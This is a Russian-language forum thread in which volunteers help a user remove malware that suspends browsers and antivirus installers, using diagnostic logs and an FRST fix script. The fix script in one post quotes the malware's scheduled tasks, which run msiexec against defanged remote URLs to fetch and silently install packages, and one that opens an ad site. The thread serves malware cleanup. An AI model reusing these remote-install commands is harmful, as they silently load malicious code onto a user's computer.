1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
1

Вирус блокирует процесс установки антивируса, процесс браузера при попытке скачать антивирус

02.04.2019, 20:31. Показов 3261. Ответов 17
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
При попытке загуглить любой известный антивирус или перейти на его сайт напрямую процесс браузера останавливается (переходит в состояние Suspended в диспетчере задач). То же самое происходит с процессами-установщиками антивирусов и с avz, который используется в сборщике логов. Периодически (раз в ~20 мин) в браузере открывается новая вкладка со случайным рекламным сайтом.
Проблема очень похожа на этот случай: Вирус не дает установить антивирус. Браузер зависает при любом напоминании об антивирусе
Аналогично ему, запустил утилиты для сбора логов отдельно.
Вложения
Тип файла: zip Check_Browsers_LNK.zip (4.8 Кб, 4 просмотров)
Тип файла: zip HiJackThis.zip (6.4 Кб, 6 просмотров)
0
Лучшие ответы (1)
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
02.04.2019, 20:31
Ответы с готовыми решениями:

Вирус блокирует установку антивируса и браузер при поиске антивируса
Также с небольшой периодичностью в браузере открывается сайт с рекламой. С виду проблема...

Вирус поменял ярлыки браузера, в диспетчере задач неубиваемый процесс с иероглифами
Доброго времени суток. Искал программу, скачав запустил ехе из архива. На рабочем столе стали...

При включении браузера антивирус блокирует какой-то сайт
Здравствуйте! При включении браузера Мозилла антивирус аваст блокирует какой-то сайт, бывает даже...

При включении браузера антивирус блокирует какой-то сайт
Здравствуйте! При включении браузера Мозилла антивирус аваст блокирует какой-то сайт, бывает даже...

17
Вирусоборец
21874 / 15677 / 3023
Регистрация: 08.10.2012
Сообщений: 63,736
03.04.2019, 10:29 2
Здравствуйте!

Попробуйте запустить эту версию Автологера.
0
1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
03.04.2019, 20:51  [ТС] 3
Здравствуйте. Эта версия автологгера тоже блочится на этапе работы скрипта AVZ (скриншот приложил). Разблокировать процесс через монитор ресуров не получается.
Миниатюры
Вирус блокирует процесс установки антивируса, процесс браузера при попытке скачать антивирус  
0
Вирусоборец
3877 / 2093 / 342
Регистрация: 04.04.2012
Сообщений: 7,702
03.04.2019, 21:04 4
Подготовьте логи FRST: https://www.cyberforum.ru/post7151340.html
0
1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
03.04.2019, 21:22  [ТС] 5
При переходе по указанной ссылке браузер блокируется (видимо, из-за названия вкладки). Удалось просмотреть страницу через Postman и скачать экзешник frst, но процесс frst также блокируется при запуске.
0
Вирусоборец
3877 / 2093 / 342
Регистрация: 04.04.2012
Сообщений: 7,702
03.04.2019, 21:26 6
Пока не перешли к тяжелому вооружению, попробуем еще вот этот лог: https://www.cyberforum.ru/post6501803.html
0
1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
03.04.2019, 21:46  [ТС] 7
По вкладке браузера та же история, что с fsrt. Процессы WinRAR и даже Проводника при попытке открыть uvs.zip тоже замёрзли. Можно попытаться скачать сразу экзешник, но боюсь, выйдет то же самое.

Я также могу проделать эти манипуляции в безопасном режиме или ещё раз снять логи HJT, если нужно.
0
Вирусоборец
3877 / 2093 / 342
Регистрация: 04.04.2012
Сообщений: 7,702
03.04.2019, 22:05 8
Давайте FRST из безопасного режима
0
1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
03.04.2019, 22:14  [ТС] 9
Результат работы FRST из безопасного режима с сетью
Вложения
Тип файла: zip FRST.zip (16.7 Кб, 2 просмотров)
Тип файла: zip Addition.zip (39.8 Кб, 2 просмотров)
0
Вирусоборец
3877 / 2093 / 342
Регистрация: 04.04.2012
Сообщений: 7,702
03.04.2019, 22:28 10
Лучший ответ Сообщение было отмечено Carolus как решение

Решение

Отключите до перезагрузки антивирус.
Выделите следующий код:

Код
Start::
CreateRestorePoint:
ExportKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions
GroupPolicy: Restriction ? <==== ATTENTION
Handler: gopher - {79eac9e4-baf9-11ce-8c82-00aa004ba90b} -  No File
CHR HKLM\...\Chrome\Extension: [flliilndjeohchalpbbcdekjklbdgfkk] - hxxps://clients2.google.com/service/update2/crx
CHR HKU\S-1-5-21-1801869206-1969270181-3000357203-1000\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [dhdgffkkebhmkfjojejmpbldmpobfkfo] - hxxp://clients2.google.com/service/update2/crx
CHR HKU\S-1-5-21-1801869206-1969270181-3000357203-1000\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [lmjegmlicamnimmfhcmpkclmigmmcbeh] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [flliilndjeohchalpbbcdekjklbdgfkk] - hxxps://clients2.google.com/service/update2/crx
S3 cpuz138; C:\Users\Carolus\AppData\Local\Temp\cpuz138\cpuz138_x64.sys [27320 2019-02-15] (CPUID -> CPUID) <==== ATTENTION
U3 idsvc; no ImagePath
2019-03-28 08:46 - 2019-03-28 08:46 - 000003700 _____ C:\WINDOWS\System32\Tasks\{1D7F1D2C-E0C7-9BCA-B743-014CE1AD64C7}
2019-03-28 08:46 - 2019-03-28 08:46 - 000003498 _____ C:\WINDOWS\System32\Tasks\{4D9A062F-6F97-4742-F676-6AA753F0CD53}
CustomCLSID: HKU\S-1-5-21-1801869206-1969270181-3000357203-1000_Classes\CLSID\{073CB204-6B29-46FC-AB98-451F1D068741}\InprocServer32 -> C:\Program Files\Common Files\Autodesk Shared\DirectConnect2016 (64-bit)\bin\Aruba\Inventor Server\Bin\TestServer.dll => No File
CustomCLSID: HKU\S-1-5-21-1801869206-1969270181-3000357203-1000_Classes\CLSID\{8C23B656-4E6E-4B45-9920-9617168D39A3}\InprocServer32 -> C:\Program Files\Common Files\Autodesk Shared\DirectConnect2016 (64-bit)\bin\Aruba\Inventor Server\Bin\TestServer.dll => No File
CustomCLSID: HKU\S-1-5-21-1801869206-1969270181-3000357203-1000_Classes\CLSID\{E5B0515D-48D2-4F04-906D-0192ED65A2DD}\InprocServer32 -> C:\Program Files\Common Files\Autodesk Shared\DirectConnect2016 (64-bit)\bin\Aruba\Inventor Server\Bin\TestServer.dll => No File
Task: {272C8265-F89A-44DF-AD6B-CEA13BC36C0E} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> No File <==== ATTENTION
Task: {2F14722B-3E06-495F-A25B-051DB98DFEFF} - System32\Tasks\{1D7F1D2C-E0C7-9BCA-B743-014CE1AD64C7} => "msiexec" /q /package hxxps://siamoderg.info/weub/ofiuzoguq.ecz <==== ATTENTION
Task: {33157B91-3D51-44E7-9305-448DA944CC1B} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> No File <==== ATTENTION
Task: {36381B85-71BA-42DE-B1FD-BF77F391507C} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> No File <==== ATTENTION
Task: {477A782F-6665-4903-925C-EA780C3BCBB3} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> No File <==== ATTENTION
Task: {5629366C-469A-4CAF-A887-8F8926F55ACB} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> No File <==== ATTENTION
Task: {592DF82D-F21B-4870-9FED-6F4F024606E1} - System32\Tasks\Origin => C:\Users\Carolus\AppData\Roaming\Origin\update.vbe <==== ATTENTION
Task: {5A66D23E-6D00-4E7F-9BB0-AE2BFFECEE0F} - \Microsoft\Windows\Setup\GWXTriggers\Telemetry-4xd -> No File <==== ATTENTION
Task: {77572012-1A8C-4BB8-9564-3E0008D9BEC2} - \Microsoft\Windows\UNP\RunCampaignManager -> No File <==== ATTENTION
Task: {7C6A3772-E888-4897-B5A1-63A196785013} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> No File <==== ATTENTION
Task: {94F61A7C-3A03-46AD-844D-0E1C92117C8E} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> No File <==== ATTENTION
Task: {AFA9AF89-7D76-4225-86BE-2EE83C0F9695} - System32\Tasks\{4D9A062F-6F97-4742-F676-6AA753F0CD53} => "msiexec" -package hxxps://siamoderg.info/iboeefv/plnoe.onr -q <==== ATTENTION
Task: {C1D2E180-9837-4419-8AAB-B1A26AC56D9B} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d -> No File <==== ATTENTION
Task: {D71CA5E5-9149-4E1F-AED7-D3413A36B816} - no filepath
Task: {DABA951D-6038-4211-8550-E7698F8F9105} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> No File <==== ATTENTION
Task: {EE56682E-3541-4EC4-9ACD-6B14CBCA58E0} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> No File <==== ATTENTION
Task: {FDA599C1-9279-4889-BD4A-ADD595473782} - System32\Tasks\GoogleCheckService => "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" hxxp://aqua1man.net <==== ATTENTION
WMI:subscription\__FilterToConsumerBinding->CommandLineEventConsumer.Name="BVTConsumer"",Filter="__EventFilter.Name="BVTFilter"::
WMI:subscription\__EventFilter->BVTFilter::[Query => SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 99]
WMI:subscription\CommandLineEventConsumer->BVTConsumer::[CommandLineTemplate => cscript KernCap.vbs][WorkingDirectory => C:\\tools\\kernrate]
AlternateDataStreams: C:\ProgramData\TEMP:4FC01C57 [134]
CMD: "%ProgramFiles%\\Windows Defender\\MpCmdRun.exe" -Scan -ScanType 1
CMD: ipconfig /flushdns
CMD: wmic qfe list
EmptyTemp:
Reboot:
End::
Скопируйте выделенный текст (правой кнопкой - Копировать).
Запустите FRST (FRST64) от имени администратора.
Нажмите Fix один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.
0
1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
04.04.2019, 07:06  [ТС] 11
После перезагрузки проблема с приостановкой процессов разрешилась, скачал антивирус и запустил сканирование.
Могу запустить Автологер/FSRT уже в обычном режиме Windows, если требуется.
Вложения
Тип файла: txt Fixlog.txt (18.3 Кб, 4 просмотров)
0
Вирусоборец
21874 / 15677 / 3023
Регистрация: 08.10.2012
Сообщений: 63,736
04.04.2019, 09:14 12
Да, Автологер запустите в нормальном режиме и покажите CollectionLog.
1
1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
04.04.2019, 18:16  [ТС] 13
Антивирус при полной проверке обнаружил несколько угроз и удалил их перед тем, как были сняты логи. На время снятия логов антивирус отключал.
Вложения
Тип файла: zip CollectionLog-2019.04.04-20.11.zip (123.3 Кб, 2 просмотров)
0
Вирусоборец
3877 / 2093 / 342
Регистрация: 04.04.2012
Сообщений: 7,702
04.04.2019, 18:34 14
Пополните, пожалуйста, базу безопасных файлов антивирусной утилиты AVZ:
  1. Запустите AVZ.
  2. Выполните обновление баз (Меню Файл - Обновление баз) Если пункт недоступен - пропустите
  3. Закройте все приложения, и запустите используемый в Вашей системе интернет-браузер (например Internet Explorer, FireFox, Opera и т.д. - если применяется несколько браузеров, то необходимо запустить их все для того чтобы AVZ смог проанализировать используемые браузерами модули расширения и плагины)
  4. В AVZ выберите пункт меню Файл - Стандартные скрипты. В открывшемся окне необходимо отметить скрипт №8 ("VirusInfo.Info: Скрипт сбора файлов для экспресс-анализа ПК") и нажать кнопку "Выполнить отмеченные скрипты". Выполнение скрипта займет некоторое время, порядка 1 - 5 мин. В результате в папке AVZ будет создан подкаталог LOG, в нем архив с именем virusinfo_files_<имя_ПК>.zip
  5. Закачайте полученный архив, как описано на этой странице.
  6. Если размер архива превышает 100 Мб закачайте его на любой файлообменник, не требующий ввода капчи (например: RGhost, Zippyshare, My-Files.RU, karelia.ru, Ge.tt или WebFile) и укажите ссылку на скачивание в своём следующем сообщении.

+

Подготовьте лог SecurityCheck by glax24: https://safezone.cc/resources/... 5/download
0
1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
04.04.2019, 19:59  [ТС] 15
2 - пункт Обновление баз был недоступен
4 - логи AVZ по ссылке: https://my-files.ru/cpz2gs

SecurityCheck by glax24 & Severnyj v.1.4.0.53 [27.10.17]
WebSite: www.safezone.cc
DateLog: 04.04.2019 21:52:48
Path starting: C:\Users\Carolus\AppData\Local\Temp\SecurityCheck\SecurityCheck.exe
Log directory: C:\SecurityCheck\
IsAdmin: True
User: Carolus
VersionXML: 6.18is-31.03.2019
___________________________________________________________________________

Windows 10(6.3.17134) (x64) Professional Release: 1803 Lang: English(0409)
Installation date OS: 20.05.2018 17:57:35
LicenseStatus: Windows(R), Professional edition The machine is permanently activated.
LicenseStatus: Office 16, Office16ProPlusVL_KMS_Client edition Windows is in Notification mode
Boot Mode: Normal
Default Browser: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
SystemDrive: C: FS: [NTFS] Capacity: [110.9 Gb] Used: [102.4 Gb] Free: [8.5 Gb]
------------------------------- [ Windows ] -------------------------------
Internet Explorer 11.648.17134.0
User Account Control enabled (Level 3)
Automatically download and schedule installation
Windows Update (wuauserv) - The service has stopped
Security Center (wscsvc) - The service is running
Remote Registry (RemoteRegistry) - The service has stopped
SSDP Discovery (SSDPSRV) - The service is running
Remote Desktop Services (TermService) - The service is running
World Wide Web Publishing Service (W3SVC) - The service has stopped
Windows Remote Management (WS-Management) (WinRM) - The service has stopped
System Restore Disable
------------------------------ [ MS Office ] ------------------------------
Microsoft Office 2016 x86 v.16.0.4266.1001
---------------------------- [ Antivirus_WMI ] ----------------------------
Windows Defender (enabled and up to date)
Kaspersky Anti-Virus (disabled and up to date)
--------------------------- [ FirewallWindows ] ---------------------------
Windows Defender Firewall (mpssvc) - The service is running
--------------------------- [ AntiSpyware_WMI ] ---------------------------
Kaspersky Anti-Virus (disabled and up to date)
Windows Defender (enabled and up to date)
---------------------- [ AntiVirusFirewallInstall ] -----------------------
Kaspersky Anti-Virus v.19.0.0.1088
--------------------------- [ OtherUtilities ] ----------------------------
7-Zip 18.05 (x64) v.18.05 Warning! Download Update
Uninstall old version and install new one.
Git version 2.7.0.2 v.2.7.0.2 Warning! Download Update
WinRAR 5.30 beta 3 (64-bit) v.5.30.3 Warning! Download Update
Microsoft .NET Framework 4.5.2 v.4.5.51209 Warning! Download Update
Node.js v.6.11.0 Warning! Download Update
Microsoft Silverlight v.5.1.50907.0 Warning! Download Update
NVIDIA GeForce Experience 3.18.0.94 v.3.18.0.94
K-Lite Codec Pack 11.4.0 Standard v.11.4.0 Warning! Download Update
Steam v.2.10.91.91
TeamViewer 12 v.12.0.83369 Warning! Download Update
TeamViewer 12 (TeamViewer) - The service is running
--------------------------------- [ IM ] ----------------------------------
Discord v.0.0.305
Telegram Desktop version 1.6.3 v.1.6.3
---------------------------- [ ProxyAndVPNs ] -----------------------------
Kaspersky Secure Connection v.19.0.0.1088
--------------------------------- [ P2P ] ---------------------------------
eMule 1.0.1.4 v.1.0.1.4 Warning! P2P-client.
µTorrent v.3.5.3.44358 Warning! P2P-client.
-------------------------------- [ Java ] ---------------------------------
Java 8 Update 171 (64-bit) v.8.0.1710.11 Warning! Download Update
Uninstall old version and install new one (jre-8u201-windows-x64.exe).
Java 8 Update 201 (64-bit) v.8.0.2010.9
Java SE Development Kit 8 Update 131 (64-bit) v.8.0.1310.11 Warning! Download Update
Uninstall old version and install new one (jdk-8u201-windows-x64.exe).
--------------------------- [ AdobeProduction ] ---------------------------
Adobe Flash Player 32 NPAPI v.32.0.0.156
Adobe Flash Player 32 PPAPI v.32.0.0.156
Adobe Acrobat Reader DC - Russian v.18.011.20036 Warning! Download Update
^Please run Acrobat Reader DC and go Help - Check for updates...^
------------------------------- [ Browser ] -------------------------------
Google Chrome v.73.0.3683.86
Mozilla Firefox 66.0.2 (x86 ru) v.66.0.2
------------------ [ AntivirusFirewallProcessServices ] -------------------
Kaspersky Anti-Virus Service 19.0.0 (AVP19.0.0) - The service is running
C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 19.0.0\avp.exe v.19.0.0.1088
C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 19.0.0\avpui.exe v.19.0.0.1088
C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 3.0\ksde.exe v.19.0.0.1088
C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 3.0\ksdeui.exe v.19.0.0.1088
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1903.3-0\MsMpEng.exe v.4.18.1903.3
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1903.3-0\NisSrv.exe v.4.18.1903.3
C:\Program Files\Windows Defender\MSASCuiL.exe v.4.13.17134.1
Windows Defender Antivirus Service (WinDefend) - The service is running
Windows Defender Antivirus Network Inspection Service (WdNisSvc) - The service is running
---------------------------- [ UnwantedApps ] -----------------------------
FileSearchy v.1.42 Warning! Suspected Adware! If this program is not familiar to you it is recommended to uninstall it and execute PC scanning using Malwarebytes Anti-Malware and Malwarebytes AdwCleaner. Before uninstallation and scanning it is necessary to consult in the forum where cure is provided for you!!!
UmmyVideoDownloader v.1.8.3.2 Warning! Suspected Adware! If this program is not familiar to you it is recommended to uninstall it and execute PC scanning using Malwarebytes Anti-Malware and Malwarebytes AdwCleaner. Before uninstallation and scanning it is necessary to consult in the forum where cure is provided for you!!!
----------------------------- [ End of Log ] ------------------------------
0
Вирусоборец
3877 / 2093 / 342
Регистрация: 04.04.2012
Сообщений: 7,702
04.04.2019, 20:27 16
Обновляйте программы по ссылкам и читайте: Рекомендации после удаления вредоносного ПО

Если в списке подозрительных неизвестные вам - деинсталлируйте
1
1 / 1 / 0
Регистрация: 03.04.2016
Сообщений: 9
04.04.2019, 20:29  [ТС] 17
severnyj, Sandor, спасибо за помощь!
1
Вирусоборец
3877 / 2093 / 342
Регистрация: 04.04.2012
Сообщений: 7,702
04.04.2019, 20:32 18
Удачи
0
04.04.2019, 20:32
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
04.04.2019, 20:32
Помогаю со студенческими работами здесь

Процесс svchost.exe (netsvcs) грузит оперативку при обновлении антивируса
Добрый день. Очень нужна ваша помощь. На просторах интернета ответа на данный вопрос не нашёл....

При открытии браузеров (Chrome, Mozilla) антивирус блокирует переход на ссылку (вирус)
Как только запускаю браузер, антивирус блокирует переход по ссылке...

Антивирус блокирует "переход по вредоносной ссылке" при попытке открытия документов и таблиц гугл
Доброго дня, уважаемые спецы! Сотрудник скачал дизайнерский софт, после которого установились:...

Как завершить процесс антивируса?
Я делая прогу чат через инет а антивирус ругается на него!!! Люди как с силой завершить процесс...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
18
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru